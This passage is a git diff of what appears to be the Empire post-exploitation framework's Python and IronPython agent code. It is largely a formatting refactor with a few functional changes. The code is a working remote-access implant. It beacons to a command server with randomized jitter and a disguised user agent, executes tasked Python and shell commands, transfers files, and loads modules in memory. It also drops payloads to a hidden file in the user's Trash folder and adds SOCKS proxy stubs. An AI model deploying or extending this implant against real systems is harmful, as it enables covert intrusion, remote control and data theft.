partData = "%s|%s|%s|%s" % (partIndex, filePath, size, encodedPart)
- if not encodedPart or encodedPart == '' or len(encodedPart) == 16:
+ if not encodedPart or encodedPart == "" or len(encodedPart) == 16:
break
send_message(build_response_packet(41, partData, resultID))
global delay
global jitter
- if jitter < 0: jitter = -jitter
- if jitter > 1: jitter = old_div(1, jitter)
-
- minSleep = int((1.0 - jitter) * delay)
- maxSleep = int((1.0 + jitter) * delay)
- sleepTime = random.randint(minSleep, maxSleep)
- time.sleep(sleepTime)
+ time.sleep(sleep_time(jitter))
partIndex += 1
offset += 512000
@@ -321,76 +344,118 @@ def process_packet(packetType, data, resultID):
filePath = parts[0]
base64part = parts[1]
raw = base64.b64decode(base64part)
- with open(filePath, 'ab') as f:
+ with open(filePath, "ab") as f:
f.write(raw)
- send_message(build_response_packet(42, "[*] Upload of %s successful" % (filePath), resultID))
+ send_message(
+ build_response_packet(
+ 42, "[*] Upload of %s successful" % (filePath), resultID
+ )
+ )
except Exception as e:
- send_message(build_response_packet(0, "[!] Error in writing file %s during upload: %s" % (filePath, str(e)), resultID))
+ send_message(
+ build_response_packet(
+ 0,
+ "[!] Error in writing file %s during upload: %s"
+ % (filePath, str(e)),
+ resultID,
+ )
+ )
elif packetType == 43:
# directory list
cmdargs = data
- path = '/' # default to root
- if cmdargs is not None and cmdargs != '' and cmdargs != '/': # strip trailing slash for uniformity
- path = cmdargs.rstrip('/')
- if path[0] != '/': # always scan relative to root for uniformity
- path = '/{0}'.format(path)
+ path = "/" # default to root
+ if (
+ cmdargs is not None and cmdargs != "" and cmdargs != "/"
+ ): # strip trailing slash for uniformity
+ path = cmdargs.rstrip("/")
+ if path[0] != "/": # always scan relative to root for uniformity
+ path = "/{0}".format(path)
if not os.path.isdir(path):
- send_message(build_response_packet(43, 'Directory {} not found.'.format(path), resultID))
+ send_message(
+ build_response_packet(
+ 43, "Directory {} not found.".format(path), resultID
+ )
+ )
items = []
with os.scandir(path) as it:
for entry in it:
- items.append({'path': entry.path, 'name': entry.name, 'is_file': entry.is_file()})
-
- result_data = json.dumps({
- 'directory_name': path if len(path) == 1 else path.split('/')[-1],
- 'directory_path': path,
- 'items': items
- })
+ items.append(
+ {"path": entry.path, "name": entry.name, "is_file": entry.is_file()}
+ )
+
+ result_data = json.dumps(
+ {
+ "directory_name": path if len(path) == 1 else path.split("/")[-1],
+ "directory_path": path,
+ "items": items,
+ }
+ )
send_message(build_response_packet(43, result_data, resultID))
+ elif packetType == 44:
+ # run csharp module in ironpython using reflection
+ send_message(
+ build_response_packet(
+ 60, "[!] C# module execution not implemented", resultID
+ )
+ )
+
elif packetType == 50:
# return the currently running jobs
- msg = ""
- if len(jobs) == 0:
- msg = "No active jobs"
- else:
- msg = "Active jobs:\n"
- for x in range(len(jobs)):
- msg += "\t%s" % (x)
+ msg = "Active jobs:\n"
+
+ for key in jobs:
+ msg += "Task %s" % key
send_message(build_response_packet(50, msg, resultID))
elif packetType == 51:
# stop and remove a specified job if it's running
try:
- # Calling join first seems to hang
- # result = jobs[int(data)].join()
- send_message(build_response_packet(0, "[*] Attempting to stop job thread", resultID))
- result = jobs[int(data)].kill()
- send_message(build_response_packet(0, "[*] Job thread stoped!", resultID))
- jobs[int(data)]._Thread__stop()
+ jobs[int(data)].kill()
jobs.pop(int(data))
- if result and result != "":
- send_message(build_response_packet(51, result, resultID))
- except:
- return build_response_packet(0, "error stopping job: %s" % (data), resultID)
+ send_message(
+ build_response_packet(
+ 51, "[+] Job thread %s stopped successfully" % (data), resultID
+ )
+ )
+ except Exception as e:
+ send_message(
+ build_response_packet(
+ 51, "[!] Error stopping job thread: %s" % (e), resultID
+ )
+ )
+
+ elif packetType == 60:
+ send_message(
+ build_response_packet(60, "[!] SOCKS server not implemented", resultID)
+ )
+
+ elif packetType == 61:
+ send_message(
+ build_response_packet(0, "[!] SOCKS server data not implemented", resultID)
+ )
elif packetType == 100:
- # dynamic code execution, wait for output, don't save outputPicl
+ # dynamic code execution, wait for output, don't save output
try:
buffer = StringIO()
sys.stdout = buffer
- code_obj = compile(data, '', 'exec')
+ code_obj = compile(data, "", "exec")
exec(code_obj, globals())
sys.stdout = sys.__stdout__
results = buffer.getvalue()
send_message(build_response_packet(100, str(results), resultID))
except Exception as e:
errorData = str(buffer.getvalue())
- return build_response_packet(0, "error executing specified Python data: %s \nBuffer data recovered:\n%s" % (
- e, errorData), resultID)
+ return build_response_packet(
+ 0,
+ "error executing specified Python data: %s \nBuffer data recovered:\n%s"
+ % (e, errorData),
+ resultID,
+ )
elif packetType == 101:
# dynamic code execution, wait for output, save output
@@ -400,37 +465,50 @@ def process_packet(packetType, data, resultID):
try:
buffer = StringIO()
sys.stdout = buffer
- code_obj = compile(data, '', 'exec')
+ code_obj = compile(data, "", "exec")
exec(code_obj, globals())
sys.stdout = sys.__stdout__
- results = buffer.getvalue().encode('latin-1')
+ results = buffer.getvalue().encode("latin-1")
c = compress()
start_crc32 = c.crc32_data(results)
comp_data = c.comp_data(results)
encodedPart = c.build_header(comp_data, start_crc32)
- encodedPart = base64.b64encode(encodedPart).decode('UTF-8')
+ encodedPart = base64.b64encode(encodedPart).decode("UTF-8")
send_message(
- build_response_packet(101, '{0: <15}'.format(prefix) + '{0: <5}'.format(extension) + encodedPart,
- resultID))
+ build_response_packet(
+ 101,
+ "{0: <15}".format(prefix)
+ + "{0: <5}".format(extension)
+ + encodedPart,
+ resultID,
+ )
+ )
except Exception as e:
# Also return partial code that has been executed
errorData = buffer.getvalue()
- send_message(build_response_packet(0,
- "error executing specified Python data %s \nBuffer data recovered:\n%s" % (
- e, errorData), resultID))
+ send_message(
+ build_response_packet(
+ 0,
+ "error executing specified Python data %s \nBuffer data recovered:\n%s"
+ % (e, errorData),
+ resultID,
+ )
+ )
elif packetType == 102:
# on disk code execution for modules that require multiprocessing not supported by exec
try:
- implantHome = expanduser("~") + '/.Trash/'
+ implantHome = expanduser("~") + "/.Trash/"
moduleName = ".mac-debug-data"
implantPath = implantHome + moduleName
result = "[*] Module disk path: %s \n" % (implantPath)
- with open(implantPath, 'w') as f:
+ with open(implantPath, "w") as f:
f.write(data)
result += "[*] Module properly dropped to disk \n"
pythonCommand = "python %s" % (implantPath)
- process = subprocess.Popen(pythonCommand, stdout=subprocess.PIPE, shell=True)
+ process = subprocess.Popen(
+ pythonCommand, stdout=subprocess.PIPE, shell=True
+ )
data = process.communicate()
result += data[0].strip()
try:
@@ -440,15 +518,26 @@ def process_packet(packetType, data, resultID):
print("error removing module filed: %s" % (e))
fileCheck = os.path.isfile(implantPath)
if fileCheck:
- result += "\n\nError removing module file, please verify path: " + str(implantPath)
+ result += "\n\nError removing module file, please verify path: " + str(
+ implantPath
+ )
send_message(build_response_packet(100, str(result), resultID))
except Exception as e:
fileCheck = os.path.isfile(implantPath)
if fileCheck:
- send_message(build_response_packet(0,
- "error executing specified Python data: %s \nError removing module file, please verify path: %s" % (
- e, implantPath), resultID))
- send_message(build_response_packet(0, "error executing specified Python data: %s" % (e), resultID))
+ send_message(
+ build_response_packet(
+ 0,
+ "error executing specified Python data: %s \nError removing module file, please verify path: %s"
+ % (e, implantPath),
+ resultID,
+ )
+ )
+ send_message(
+ build_response_packet(
+ 0, "error executing specified Python data: %s" % (e), resultID
+ )
+ )
elif packetType == 110:
start_job(data, resultID)
@@ -458,45 +547,81 @@ def process_packet(packetType, data, resultID):
# TODO: implement job structure
pass
+ elif packetType == 112:
+ # powershell task
+ send_message(
+ build_response_packet(60, "[!] PowerShell tasks not implemented", resultID)
+ )
+
+ elif packetType == 118:
+ # PowerShel Task - dynamic code execution, wait for output, don't save output
+ send_message(
+ build_response_packet(60, "[!] PowerShell tasks not implemented", resultID)
+ )
+
+ elif packetType == 119:
+ pass
+
elif packetType == 121:
# base64 decode the script and execute
script = base64.b64decode(data)
try:
buffer = StringIO()
sys.stdout = buffer
- code_obj = compile(script, '', 'exec')
+ code_obj = compile(script, "", "exec")
exec(code_obj, globals())
sys.stdout = sys.__stdout__
result = str(buffer.getvalue())
send_message(build_response_packet(121, result, resultID))
except Exception as e:
errorData = str(buffer.getvalue())
- send_message(build_response_packet(0,
- "error executing specified Python data %s \nBuffer data recovered:\n%s" % (
- e, errorData), resultID))
+ send_message(
+ build_response_packet(
+ 0,
+ "error executing specified Python data %s \nBuffer data recovered:\n%s"
+ % (e, errorData),
+ resultID,
+ )
+ )
elif packetType == 122:
# base64 decode and decompress the data
try:
- parts = data.split('|')
+ parts = data.split("|")
base64part = parts[1]
fileName = parts[0]
raw = base64.b64decode(base64part)
d = decompress()
dec_data = d.dec_data(raw, cheader=True)
- if not dec_data['crc32_check']:
- send_message(build_response_packet(122, "Failed crc32_check during decompression", resultID))
+ if not dec_data["crc32_check"]:
+ send_message(
+ build_response_packet(
+ 122, "Failed crc32_check during decompression", resultID
+ )
+ )
except Exception as e:
- send_message(build_response_packet(122, "Unable to decompress zip file: %s" % (e), resultID))
+ send_message(
+ build_response_packet(
+ 122, "Unable to decompress zip file: %s" % (e), resultID
+ )
+ )
- zdata = dec_data['data']
+ zdata = dec_data["data"]
zf = zipfile.ZipFile(io.BytesIO(zdata), "r")
if fileName in list(moduleRepo.keys()):
- send_message(build_response_packet(122, "%s module already exists" % (fileName), resultID))
+ send_message(
+ build_response_packet(
+ 122, "%s module already exists" % (fileName), resultID
+ )
+ )
else:
moduleRepo[fileName] = zf
install_hook(fileName)
- send_message(build_response_packet(122, "Successfully imported %s" % (fileName), resultID))
+ send_message(
+ build_response_packet(
+ 122, "Successfully imported %s" % (fileName), resultID
+ )
+ )
elif packetType == 123:
# view loaded modules
@@ -505,13 +630,13 @@ def process_packet(packetType, data, resultID):
loadedModules = "\nAll Repos\n"
for key, value in list(moduleRepo.items()):
loadedModules += "\n----" + key + "----\n"
- loadedModules += '\n'.join(moduleRepo[key].namelist())
+ loadedModules += "\n".join(moduleRepo[key].namelist())
send_message(build_response_packet(123, loadedModules, resultID))
else:
try:
loadedModules = "\n----" + repoName + "----\n"
- loadedModules += '\n'.join(moduleRepo[repoName].namelist())
+ loadedModules += "\n".join(moduleRepo[repoName].namelist())
send_message(build_response_packet(123, loadedModules, resultID))
except Exception as e:
msg = "Unable to retrieve repo contents: %s" % (str(e))
@@ -523,12 +648,38 @@ def process_packet(packetType, data, resultID):
try:
remove_hook(repoName)
del moduleRepo[repoName]
- send_message(build_response_packet(124, "Successfully remove repo: %s" % (repoName), resultID))
+ send_message(
+ build_response_packet(
+ 124, "Successfully remove repo: %s" % (repoName), resultID
+ )
+ )
except Exception as e:
- send_message(build_response_packet(124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID))
+ send_message(
+ build_response_packet(
+ 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID
+ )
+ )
+
+ elif packetType == 130:
+ # Dynamically update agent comms
+ send_message(
+ build_response_packet(
+ 60, "[!] Switch agent comms not implemented", resultID
+ )
+ )
+
+ elif packetType == 131:
+ # Update the listener name variable
+ send_message(
+ build_response_packet(
+ 60, "[!] Switch agent comms not implemented", resultID
+ )
+ )
else:
- send_message(build_response_packet(0, "invalid tasking ID: %s" % (taskingID), resultID))
+ send_message(
+ build_response_packet(0, "invalid tasking ID: %s" % (packetType), resultID)
+ )
def old_div(a, b):
@@ -551,16 +702,19 @@ def old_div(a, b):
# [0] = .py ext, is_package = False
# [1] = /__init__.py ext, is_package = True
-_search_order = [('.py', False), ('/__init__.py', True)]
+_search_order = [(".py", False), ("/__init__.py", True)]
+
class ZipImportError(ImportError):
"""Exception raised by zipimporter objects."""
+
pass
# _get_info() = takes the fullname, then subpackage name (if applicable),
# and searches for the respective module or package
+
class CFinder(object):
"""Import Hook for Empire"""
@@ -569,9 +723,9 @@ def __init__(self, repoName):
def _get_info(self, repoName, fullname):
"""Search for the respective package or module in the zipfile object"""
- parts = fullname.split('.')
+ parts = fullname.split(".")
submodule = parts[-1]
- modulepath = '/'.join(parts)
+ modulepath = "/".join(parts)
# check to see if that specific module exists
for suffix, is_package in _search_order:
@@ -584,16 +738,16 @@ def _get_info(self, repoName, fullname):
return submodule, is_package, relpath
# Error out if we can find the module/package
- msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName))
+ msg = "Unable to locate module %s in the %s repo" % (submodule, repoName)
raise ZipImportError(msg)
def _get_source(self, repoName, fullname):
"""Get the source code for the requested module"""
submodule, is_package, relpath = self._get_info(repoName, fullname)
- fullpath = '%s/%s' % (repoName, relpath)
+ fullpath = "%s/%s" % (repoName, relpath)
source = moduleRepo[repoName].read(relpath)
- source = source.replace('\r\n', '\n')
- source = source.replace('\r', '\n')
+ source = source.replace("\r\n", "\n")
+ source = source.replace("\r", "\n")
return submodule, is_package, fullpath, source
def find_module(self, fullname, path=None):
@@ -606,8 +760,10 @@ def find_module(self, fullname, path=None):
return self
def load_module(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
- code = compile(source, fullpath, 'exec')
+ submodule, is_package, fullpath, source = self._get_source(
+ self.repoName, fullname
+ )
+ code = compile(source, fullpath, "exec")
mod = sys.modules.setdefault(fullname, types.ModuleType(fullname))
mod.__loader__ = self
mod.__file__ = fullpath
@@ -619,14 +775,16 @@ def load_module(self, fullname):
def get_data(self, fullpath):
- prefix = os.path.join(self.repoName, '')
+ prefix = os.path.join(self.repoName, "")
if not fullpath.startswith(prefix):
- raise IOError('Path %r does not start with module name %r', (fullpath, prefix))
- relpath = fullpath[len(prefix):]
+ raise IOError(
+ "Path %r does not start with module name %r", (fullpath, prefix)
+ )
+ relpath = fullpath[len(prefix) :]
try:
return moduleRepo[self.repoName].read(relpath)
except KeyError:
- raise IOError('Path %r not found in repo %r' % (relpath, self.repoName))
+ raise IOError("Path %r not found in repo %r" % (relpath, self.repoName))
def is_package(self, fullname):
"""Return if the module is a package"""
@@ -634,8 +792,10 @@ def is_package(self, fullname):
return is_package
def get_code(self, fullname):
- submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname)
- return compile(source, fullpath, 'exec')
+ submodule, is_package, fullpath, source = self._get_source(
+ self.repoName, fullname
+ )
+ return compile(source, fullpath, "exec")
def install_hook(repoName):
if repoName not in _meta_cache:
@@ -655,10 +815,10 @@ def remove_hook(repoName):
#
################################################
class compress(object):
- '''
+ """
Base clase for init of the package. This will handle
the initial object creation for conducting basic functions.
- '''
+ """
CRC_HSIZE = 4
COMP_RATIO = 9
@@ -670,42 +830,42 @@ def __init__(self, verbose=False):
pass
def comp_data(self, data, cvalue=COMP_RATIO):
- '''
+ """
Takes in a string and computes
the comp obj.
data = string wanting compression
cvalue = 0-9 comp value (default 6)
- '''
+ """
cdata = zlib.compress(data, cvalue)
return cdata
def crc32_data(self, data):
- '''
+ """
Takes in a string and computes crc32 value.
data = string before compression
returns:
HEX bytes of data
- '''
+ """
crc = zlib.crc32(data) & 0xFFFFFFFF
return crc
def build_header(self, data, crc):
- '''
+ """
Takes comp data, org crc32 value,
and adds self header.
data = comp data
crc = crc32 value
- '''
+ """
header = struct.pack("!I", crc)
built_data = header + data
return built_data
class decompress(object):
- '''
+ """
Base clase for init of the package. This will handle
the initial object creation for conducting basic functions.
- '''
+ """
CRC_HSIZE = 4
COMP_RATIO = 9
@@ -717,7 +877,7 @@ def __init__(self, verbose=False):
pass
def dec_data(self, data, cheader=True):
- '''
+ """
Takes:
Custom / standard header data
data = comp data with zlib header
@@ -725,16 +885,21 @@ def dec_data(self, data, cheader=True):
returns:
dict with crc32 cheack and dec data string
ex. {"crc32" : true, "dec_data" : "-SNIP-"}
- '''
+ """
if cheader:
- comp_crc32 = struct.unpack("!I", data[:self.CRC_HSIZE])[0]
- dec_data = zlib.decompress(data[self.CRC_HSIZE:])
+ comp_crc32 = struct.unpack("!I", data[: self.CRC_HSIZE])[0]
+ dec_data = zlib.decompress(data[self.CRC_HSIZE :])
dec_crc32 = zlib.crc32(dec_data) & 0xFFFFFFFF
if comp_crc32 == dec_crc32:
crc32 = True
else:
crc32 = False
- return {"header_crc32": comp_crc32, "dec_crc32": dec_crc32, "crc32_check": crc32, "data": dec_data}
+ return {
+ "header_crc32": comp_crc32,
+ "dec_crc32": dec_crc32,
+ "crc32_check": crc32,
+ "data": dec_data,
+ }
else:
dec_data = zlib.decompress(data)
return dec_data
@@ -745,7 +910,7 @@ def agent_exit():
if len(jobs) > 0:
try:
for x in jobs:
- jobs[int(x)].kill()
+ jobs[x].kill()
jobs.pop(x)
except:
# die hard if thread kill fails
@@ -753,22 +918,24 @@ def agent_exit():
exit()
-def indent(lines, amount=4, ch=' '):
+def indent(lines, amount=4, ch=" "):
padding = amount * ch
- return padding + ('\n' + padding).join(lines.split('\n'))
+ return padding + ("\n" + padding).join(lines.split("\n"))
# from http://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python
class ThreadWithReturnValue(Thread):
- def __init__(self, group=None, target=None, name=None,
- args=(), kwargs={}, Verbose=None):
+ def __init__(
+ self, group=None, target=None, name=None, args=(), kwargs={}, Verbose=None
+ ):
Thread.__init__(self, group, target, name, args, kwargs, Verbose)
self._return = None
def run(self):
if self._Thread__target is not None:
- self._return = self._Thread__target(*self._Thread__args,
- **self._Thread__kwargs)
+ self._return = self._Thread__target(
+ *self._Thread__args, **self._Thread__kwargs
+ )
def join(self):
Thread.join(self)
@@ -777,7 +944,7 @@ def join(self):
class KThread(threading.Thread):
"""A subclass of threading.Thread, with a kill()
- method."""
+ method."""
def __init__(self, *args, **keywords):
threading.Thread.__init__(self, *args, **keywords)
@@ -786,25 +953,25 @@ def __init__(self, *args, **keywords):
def start(self):
"""Start the thread."""
self.__run_backup = self.run
- self.run = self.__run # Force the Thread toinstall our trace.
+ self.run = self.__run # Force the Thread to install our trace.
threading.Thread.start(self)
def __run(self):
"""Hacked run function, which installs the
- trace."""
+ trace."""
sys.settrace(self.globaltrace)
self.__run_backup()
self.run = self.__run_backup
def globaltrace(self, frame, why, arg):
- if why == 'call':
+ if why == "call":
return self.localtrace
else:
return None
def localtrace(self, frame, why, arg):
if self.killed:
- if why == 'line':
+ if why == "line":
raise SystemExit()
return self.localtrace
@@ -819,7 +986,7 @@ def start_job(code, resultID):
codeBlock = "def method():\n" + indent(code[1:])
# register the code block
- code_obj = compile(codeBlock, '', 'exec')
+ code_obj = compile(codeBlock, "", "exec")
# code needs to be in the global listing
# not the locals() scope
exec(code_obj, globals())
@@ -829,7 +996,7 @@ def start_job(code, resultID):
codeThread = KThread(target=job_func, args=(resultID,))
codeThread.start()
- jobs.append(codeThread)
+ jobs[resultID] = codeThread
def job_func(resultID):
@@ -906,7 +1073,7 @@ def log_message(s, format, *args):
server_class = http.server.HTTPServer
httpServer = server_class((hostName, portNumber), serverHandler)
try:
- while (count < serveCount):
+ while count < serveCount:
httpServer.handle_request()
count += 1
except:
@@ -916,16 +1083,16 @@ def log_message(s, format, *args):
def permissions_to_unix_name(st_mode):
- permstr = ''
- usertypes = ['USR', 'GRP', 'OTH']
+ permstr = ""
+ usertypes = ["USR", "GRP", "OTH"]
for usertype in usertypes:
- perm_types = ['R', 'W', 'X']
+ perm_types = ["R", "W", "X"]
for permtype in perm_types:
- perm = getattr(stat, 'S_I%s%s' % (permtype, usertype))
+ perm = getattr(stat, "S_I%s%s" % (permtype, usertype))
if st_mode & perm:
permstr += permtype.lower()
else:
- permstr += '-'
+ permstr += "-"
return permstr
@@ -947,37 +1114,52 @@ def directory_listing(path):
group = grp.getgrgid(fstat.st_gid)[0]
# Convert file size to MB, KB or Bytes
- if (fstat.st_size > 1024 * 1024):
- fsize = math.ceil(old_div(fstat.st_size, (1024 * 1024)))
- unit = "MB"
- elif (fstat.st_size > 1024):
- fsize = math.ceil(old_div(fstat.st_size, 1024))
+ fsize = fstat.st_size
+ unit = "B"
+
+ if fsize > 1024:
+ fsize >>= 10
unit = "KB"
- else:
- fsize = fstat.st_size
- unit = "B"
+
+ if fsize > 1024:
+ fsize >>= 10
+ unit = "MB"
mtime = time.strftime("%X %x", time.gmtime(fstat.st_mtime))
- res += '{} {} {} {:18s} {:f} {:2s} {:15.15s}\n'.format(permstr, user, group, mtime, fsize, unit, fn)
+ res += "{} {} {} {:18s} {:f} {:2s} {:15.15s}\n".format(
+ permstr, user, group, mtime, fsize, unit, fn
+ )
return res
# additional implementation methods
def run_command(command, cmdargs=None):
- if re.compile("(ls|dir)").match(command):
+ if command == "shell":
+ if cmdargs is None:
+ return "no shell command supplied"
+
+ p = subprocess.Popen(
+ cmdargs,
+ stdin=None,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.STDOUT,
+ shell=True,
+ )
+ return p.communicate()[0].strip().decode("UTF-8")
+ elif re.compile("(ls|dir)").match(command):
if cmdargs == None or not os.path.exists(cmdargs):
- cmdargs = '.'
+ cmdargs = "."
return directory_listing(cmdargs)
- if re.compile("cd").match(command):
+ elif re.compile("cd").match(command):
os.chdir(cmdargs)
return str(os.getcwd())
elif re.compile("pwd").match(command):
return str(os.getcwd())
elif re.compile("rm").match(command):
- if cmdargs == None:
+ if cmdargs is None:
return "please provide a file or directory"
if os.path.exists(cmdargs):
@@ -992,7 +1174,7 @@ def run_command(command, cmdargs=None):
else:
return "specified file/directory does not exist"
elif re.compile("mkdir").match(command):
- if cmdargs == None:
+ if cmdargs is None:
return "please provide a directory"
os.mkdir(cmdargs)
@@ -1005,18 +1187,24 @@ def run_command(command, cmdargs=None):
return str(socket.gethostname())
else:
- if cmdargs != None:
+ if cmdargs is not None:
command = "{} {}".format(command, cmdargs)
- p = subprocess.Popen(command, stdin=None, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True)
- return p.communicate()[0].strip().decode('UTF-8')
+ p = subprocess.Popen(
+ command,
+ stdin=None,
+ stdout=subprocess.PIPE,
+ stderr=subprocess.STDOUT,
+ shell=True,
+ )
+ return p.communicate()[0].strip().decode("UTF-8")
def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
if not os.path.exists(filePath):
- return ''
+ return ""
- f = open(filePath, 'rb')
+ f = open(filePath, "rb")
f.seek(offset, 0)
data = f.read(chunkSize)
f.close()
@@ -1026,17 +1214,29 @@ def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
return data
+def sleep_time(jitter):
+ # Determines the random sleep duration using the delay and jitter
+ if jitter < 0:
+ jitter = -jitter
+ if jitter > 1:
+ jitter = old_div(1, jitter)
+
+ minSleep = int((1.0 - jitter) * delay)
+ maxSleep = int((1.0 + jitter) * delay)
+ return random.randint(minSleep, maxSleep)
+
+
################################################
#
# main agent functionality
#
################################################
-while (True):
+while True:
try:
- if workingHours != '' and 'WORKINGHOURS' not in workingHours:
+ if workingHours != "" and "WORKINGHOURS" not in workingHours:
try:
- start, end = workingHours.split('-')
+ start, end = workingHours.split("-")
now = datetime.datetime.now()
startTime = datetime.datetime.strptime(start, "%H:%M")
endTime = datetime.datetime.strptime(end, "%H:%M")
@@ -1051,7 +1251,7 @@ def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
# check if we're past the killdate for this agent
# killDate form -> MO/DAY/YEAR
- if killDate != "" and 'KILLDATE' not in killDate:
+ if killDate != "" and "KILLDATE" not in killDate:
now = datetime.datetime.now().date()
try:
killDateTime = datetime.datetime.strptime(killDate, "%m/%d/%Y").date()
@@ -1068,21 +1268,17 @@ def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
agent_exit()
# sleep for the randomized interval
- if jitter < 0: jitter = -jitter
- if jitter > 1: jitter = old_div(1, jitter)
- minSleep = int((1.0 - jitter) * delay)
- maxSleep = int((1.0 + jitter) * delay)
-
- sleepTime = random.randint(minSleep, maxSleep)
- time.sleep(sleepTime)
+ time.sleep(sleep_time(jitter))
(code, data) = send_message()
- if code == '200':
+ if code == "200":
try:
send_job_message_buffer()
except Exception as e:
- result = build_response_packet(0, str('[!] Failed to check job buffer!: ' + str(e)))
+ result = build_response_packet(
+ 0, str("[!] Failed to check job buffer!: " + str(e))
+ )
process_job_tasking(result)
if data.strip() == defaultResponse.strip():
missedCheckins = 0
diff --git a/empire/server/data/agent/ironpython_agent.py b/empire/server/data/agent/ironpython_agent.py
index b5088e0fd..d9b207041 100644
--- a/empire/server/data/agent/ironpython_agent.py
+++ b/empire/server/data/agent/ironpython_agent.py
@@ -6,6 +6,7 @@
import math
import numbers
import os
+import queue as Queue
import random
import re
import shutil
@@ -24,6 +25,7 @@
from threading import Thread
import clr
+import secretsocks
import System
from System import Environment
@@ -42,37 +44,40 @@
# tasking uris | user agent | additional header 1 | additional header 2 | ...
profile = "/admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
-if server.endswith("/"): server = server[0:-1]
+if server.endswith("/"):
+ server = server[0:-1]
delay = 60
jitter = 0.0
lostLimit = 60
missedCheckins = 0
-jobMessageBuffer = ''
+jobMessageBuffer = ""
currentListenerName = ""
sendMsgFuncCode = ""
proxy_list = []
+_socksthread = None
+_socksqueue = None
# killDate form -> "MO/DAY/YEAR"
-killDate = 'REPLACE_KILLDATE'
+killDate = "REPLACE_KILLDATE"
# workingHours form -> "9:00-17:00"
-workingHours = 'REPLACE_WORKINGHOURS'
+workingHours = "REPLACE_WORKINGHOURS"
-parts = profile.split('|')
-taskURIs = parts[0].split(',')
+parts = profile.split("|")
+taskURIs = parts[0].split(",")
userAgent = parts[1]
headersRaw = parts[2:]
defaultResponse = base64.b64decode("")
-jobs = []
+jobs = {}
moduleRepo = {}
_meta_cache = {}
# global header dictionary
# sessionID is set by stager.py
# headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" %(sessionID)}
-headers = {'User-Agent': userAgent}
+headers = {"User-Agent": userAgent}
# parse the headers into the global header dictionary
for headerRaw in headersRaw:
@@ -81,7 +86,7 @@
headerValue = headerRaw.split(":")[1]
if headerKey.lower() == "cookie":
- headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue)
+ headers["Cookie"] = "%s;%s" % (headers["Cookie"], headerValue)
else:
headers[headerKey] = headerValue
except:
@@ -93,6 +98,7 @@
#
################################################
+
def decode_routing_packet(data):
"""
Parse ALL routing packets and only process the ones applicable
@@ -129,23 +135,25 @@ def build_response_packet(taskingID, packetData, resultID=0):
| 2 | 2 | 2 | 2 | 4 | |
+------+--------------------+----------+---------+--------+-----------+
"""
- packetType = struct.pack('=H', taskingID)
- totalPacket = struct.pack('=H', 1)
- packetNum = struct.pack('=H', 1)
- resultID = struct.pack('=H', resultID)
+ packetType = struct.pack("=H", taskingID)
+ totalPacket = struct.pack("=H", 1)
+ packetNum = struct.pack("=H", 1)
+ resultID = struct.pack("=H", resultID)
if packetData:
- if (isinstance(packetData, str)):
- packetData = base64.b64encode(packetData.encode('utf-8', 'ignore'))
+ if isinstance(packetData, str):
+ packetData = base64.b64encode(packetData.encode("utf-8", "ignore"))
else:
- packetData = base64.b64encode(packetData.decode('utf-8').encode('utf-8', 'ignore'))
+ packetData = base64.b64encode(
+ packetData.decode("utf-8").encode("utf-8", "ignore")
+ )
if len(packetData) % 4:
- packetData += '=' * (4 - len(packetData) % 4)
+ packetData += "=" * (4 - len(packetData) % 4)
- length = struct.pack('=L', len(packetData))
+ length = struct.pack("=L", len(packetData))
return packetType + totalPacket + packetNum + resultID + length + packetData
else:
- length = struct.pack('=L', 0)
+ length = struct.pack("=L", 0)
return packetType + totalPacket + packetNum + resultID + length
@@ -171,15 +179,30 @@ def parse_task_packet(packet, offset=0):
Returns a tuple with (responseName, totalPackets, packetNum, resultID, length, data, remainingData)
"""
try:
- packetType = struct.unpack('=H', packet[0 + offset:2 + offset])[0]
- totalPacket = struct.unpack('=H', packet[2 + offset:4 + offset])[0]
- packetNum = struct.unpack('=H', packet[4 + offset:6 + offset])[0]
- resultID = struct.unpack('=H', packet[6 + offset:8 + offset])[0]
- length = struct.unpack('=L', packet[8 + offset:12 + offset])[0]
- packetData = packet.decode('UTF-8')[12 + offset:12 + offset + length]
- remainingData = packet.decode('UTF-8')[12 + offset + length:]
-
- return (packetType, totalPacket, packetNum, resultID, length, packetData, remainingData)
+ packetType = struct.unpack("=H", packet[0 + offset : 2 + offset])[0]
+ totalPacket = struct.unpack("=H", packet[2 + offset : 4 + offset])[0]
+ packetNum = struct.unpack("=H", packet[4 + offset : 6 + offset])[0]
+ resultID = struct.unpack("=H", packet[6 + offset : 8 + offset])[0]
+ length = struct.unpack("=L", packet[8 + offset : 12 + offset])[0]
+ try:
+ packetData = packet.decode("UTF-8")[12 + offset : 12 + offset + length]
+ except:
+ packetData = packet[12 + offset : 12 + offset + length].decode("latin-1")
+
+ try:
+ remainingData = packet.decode("UTF-8")[12 + offset + length :]
+ except:
+ remainingData = packet[12 + offset + length :].decode("latin-1")
+
+ return (
+ packetType,
+ totalPacket,
+ packetNum,
+ resultID,
+ length,
+ packetData,
+ remainingData,
+ )
except Exception as e:
print("parse_task_packet exception:", e)
return (None, None, None, None, None, None, None)
@@ -191,8 +214,16 @@ def process_tasking(data):
# -extracts the packets and processes each
try:
# aes_decrypt_and_verify is in stager.py
- tasking = aes_decrypt_and_verify(key, data).encode('UTF-8')
- (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking)
+ tasking = aes_decrypt_and_verify(key, data).encode("UTF-8")
+ (
+ packetType,
+ totalPacket,
+ packetNum,
+ resultID,
+ length,
+ data,
+ remainingData,
+ ) = parse_task_packet(tasking)
# if we get to this point, we have a legit tasking so reset missedCheckins
missedCheckins = 0
@@ -205,9 +236,16 @@ def process_tasking(data):
resultPackets += result
packetOffset = 12 + length
- while remainingData and remainingData != '':
- (packetType, totalPacket, packetNum, resultID, length, data, remainingData) = parse_task_packet(tasking,
- offset=packetOffset)
